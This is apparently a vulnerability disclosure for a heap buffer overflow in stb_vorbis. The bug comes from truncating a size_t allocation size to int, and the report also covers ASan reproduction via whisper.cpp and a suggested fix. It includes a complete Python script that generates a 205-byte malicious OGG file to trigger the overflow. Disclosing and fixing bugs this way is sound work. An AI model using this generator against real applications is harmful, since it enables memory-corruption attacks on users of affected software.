Heap buffer overflow via size_t-to-int truncation in stb_vorbis setup_malloc (codebook multiplicands)

[Tomer-PL]

Summary

A crafted 205-byte Ogg Vorbis file triggers a heap buffer overflow in stb_vorbis.c when processed by any application using stb_vorbis for Vorbis decoding. The root cause is an implicit size_t-to-int truncation when passing allocation sizes to the internal setup_malloc function.

Affected: stb_vorbis v1.22 (and likely earlier versions), any application linking stb_vorbis on 64-bit platforms.

Root Cause

setup_malloc (line 950) takes int sz:

static void *setup_malloc(vorb *f, int sz)
{
   sz = (sz+7) & ~7;
   // ...
   return sz ? malloc(sz) : NULL;
}

Callers compute sizes using size_t arithmetic (due to sizeof returning size_t), but the result is implicitly truncated to int at the function call boundary:

// line 3880 (codebook multiplicands pre-expansion, lookup_type=1)
c->multiplicands = (codetype *) setup_malloc(f,
    sizeof(c->multiplicands[0]) * c->entries * c->dimensions);

The left-to-right multiplication promotes c->entries and c->dimensions (both int) to size_t, producing a correct size_t result. This size_t is then truncated to int when passed to setup_malloc.

Exploit

A Vorbis codebook with entries = 16,519,105 and dimensions = 65:

sizeof(float) * 16,519,105 * 65
= 4,294,967,300 (correct size_t)
= 4 (truncated int32: 4,294,967,300 mod 2^32)

After alignment: malloc(8) — space for 2 floats. The subsequent multiplicands expansion loop writes 31 floats (124 bytes) into this 8-byte buffer — a 116-byte heap overflow.

The inner loop is limited to 31 iterations by the div > UINT_MAX / lookup_values check, but that's still enough for a significant overflow.

Reproduction

# Using whisper.cpp as the test harness (any stb_vorbis consumer works)
# Build with ASan
cmake -B build -DCMAKE_C_FLAGS="-fsanitize=address" -DCMAKE_CXX_FLAGS="-fsanitize=address"
cmake --build build

# Run with the 205-byte crafted OGG
ASAN_OPTIONS=detect_leaks=0:halt_on_error=1 ./build/bin/whisper-cli -m models/ggml-tiny.bin -f exploit.ogg

ASan output:

ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
WRITE of size 4 at ... thread T0
    #0 ... in start_decoder stb_vorbis.c:3889
0x... is located 0 bytes to the right of 8-byte region
allocated by thread T0 here:
    #1 ... in setup_malloc stb_vorbis.c:960
    #2 ... in start_decoder stb_vorbis.c:3880

PoC Generator

Python script to generate the exploit OGG (205 bytes)

"""Craft OGG Vorbis file triggering setup_malloc overflow via codebook multiplicands."""
import struct, os

ENTRIES = 16519105
DIMS = 65
# Huffman: 258111 entries at len 23 + 16260994 at len 24 (Kraft sum = 1.0)

class BitWriter:
    def __init__(self):
        self.data = bytearray()
        self.cur = 0
        self.pos = 0
    def write(self, value, n):
        for i in range(n):
            if value & (1 << i):
                self.cur |= 1 << self.pos
            self.pos += 1
            if self.pos == 8:
                self.data.append(self.cur)
                self.cur = 0
                self.pos = 0
    def finish(self):
        if self.pos > 0:
            self.data.append(self.cur)
        return bytes(self.data)

def _ogg_crc_table():
    table = []
    for i in range(256):
        s = i << 24
        for _ in range(8):
            s = ((s << 1) ^ 0x04C11DB7) if s & 0x80000000 else (s << 1)
            s &= 0xFFFFFFFF
        table.append(s)
    return table
_CRC = _ogg_crc_table()

def ogg_crc(data):
    crc = 0
    for b in data:
        crc = ((crc << 8) ^ _CRC[(b ^ (crc >> 24)) & 0xFF]) & 0xFFFFFFFF
    return crc

def make_ogg_page(ht, serial, seq, gran, pkt):
    st = bytearray()
    rem = len(pkt)
    while rem >= 255: st.append(255); rem -= 255
    st.append(rem)
    hdr = bytearray(b"OggS") + bytes([0, ht])
    hdr += struct.pack("<Q", gran & 0xFFFFFFFFFFFFFFFF)
    hdr += struct.pack("<III", serial, seq, 0)
    hdr.append(len(st)); hdr += st
    page = bytearray(hdr + pkt)
    struct.pack_into("<I", page, 22, ogg_crc(page))
    return bytes(page)

bw = BitWriter()
bw.write(5, 8)
for c in b'vorbis': bw.write(c, 8)
bw.write(1, 8)  # 2 codebooks

# Codebook 0: minimal (1 dim, 2 entries, len 1, no VQ)
bw.write(0x42, 8); bw.write(0x43, 8); bw.write(0x56, 8)
bw.write(1, 8); bw.write(0, 8); bw.write(2, 8); bw.write(0, 8); bw.write(0, 8)
bw.write(0, 1); bw.write(0, 1); bw.write(0, 5); bw.write(0, 5); bw.write(0, 4)

# Codebook 1: overflow (entries=16519105, dims=65, ordered, lookup_type=1)
bw.write(0x42, 8); bw.write(0x43, 8); bw.write(0x56, 8)
bw.write(DIMS & 0xFF, 8); bw.write((DIMS >> 8) & 0xFF, 8)
bw.write(ENTRIES & 0xFF, 8); bw.write((ENTRIES >> 8) & 0xFF, 8); bw.write((ENTRIES >> 16) & 0xFF, 8)
bw.write(1, 1)  # ordered
bw.write(22, 5)  # initial length 23
bw.write(258111, 24)  # group 1
bw.write(16260994, 24)  # group 2
bw.write(1, 4)  # lookup_type=1
bw.write(0, 32); bw.write(0, 32); bw.write(0, 4); bw.write(0, 1)
bw.write(0, 1); bw.write(0, 1)  # 2 mults

# Minimal floor/residue/mapping/mode
bw.write(0, 6); bw.write(1, 16); bw.write(0, 5); bw.write(0, 4); bw.write(0, 4)
bw.write(0, 6); bw.write(0, 16); bw.write(0, 24); bw.write(31, 24)
bw.write(0, 24); bw.write(0, 6); bw.write(0, 8); bw.write(0, 3); bw.write(0, 1)
bw.write(0, 6); bw.write(0, 16); bw.write(0, 1); bw.write(0, 1); bw.write(0, 8); bw.write(0, 8)
bw.write(0, 6); bw.write(0, 1); bw.write(0, 16); bw.write(0, 16); bw.write(0, 8)
bw.write(1, 1)

setup = bw.finish()
ident = bytes([1]) + b'vorbis' + struct.pack('<IBIiii', 0, 1, 16000, 0, 0, 0) + bytes([6|(6<<4), 1])
comment = bytes([3]) + b'vorbis' + struct.pack('<I', 3) + b'stb' + struct.pack('<I', 0) + bytes([1])

serial = 0xDEAD0065
ogg = make_ogg_page(0x02, serial, 0, 0, ident) + make_ogg_page(0x00, serial, 1, 0, comment) + make_ogg_page(0x00, serial, 2, 0, setup)
with open("exploit.ogg", "wb") as f:
    f.write(ogg)
print(f"Wrote exploit.ogg: {len(ogg)} bytes")

Suggested Fix

Change setup_malloc to accept size_t:

static void *setup_malloc(vorb *f, size_t sz)
{
   sz = (sz+7) & ~7;
   f->setup_memory_required += sz;
   if (f->alloc.alloc_buffer) {
      void *p = (char *) f->alloc.alloc_buffer + f->setup_offset;
      if (f->setup_offset + sz > f->temp_offset) return NULL;
      f->setup_offset += sz;
      return p;
   }
   return sz ? malloc(sz) : NULL;
}

This also requires updating setup_temp_malloc similarly.

Related

This is in the same family as CVE-2023-45661 through CVE-2023-45667. Those CVEs addressed specific call sites but did not fix the root cause (setup_malloc accepting int). This exploit uses the codebook multiplicands pre-expansion path (line 3880).

Discovery

Discovered during analysis of LLM code review results. Multiple AI models independently flagged setup_malloc integer overflow during security review of whisper.cpp's stb_vorbis copy. The end-to-end exploit was developed based on those findings.

[Tomer-PL]

Note: This is related to #1933, which reported the same line (3880) but was closed after debate about whether the overflow occurs. The prior report claimed entries * dimensions overflows as int * int, which was correctly rebutted — left-to-right evaluation with sizeof(float) (a size_t) promotes both operands before multiplication.

The actual vulnerability is different: the size_t product is correct, but it's truncated to int at the setup_malloc function call boundary since setup_malloc takes int sz. This truncation is what causes the undersized allocation. The PoC above demonstrates this with a crafted OGG that triggers an ASan-detected heap-buffer-overflow in whisper.cpp.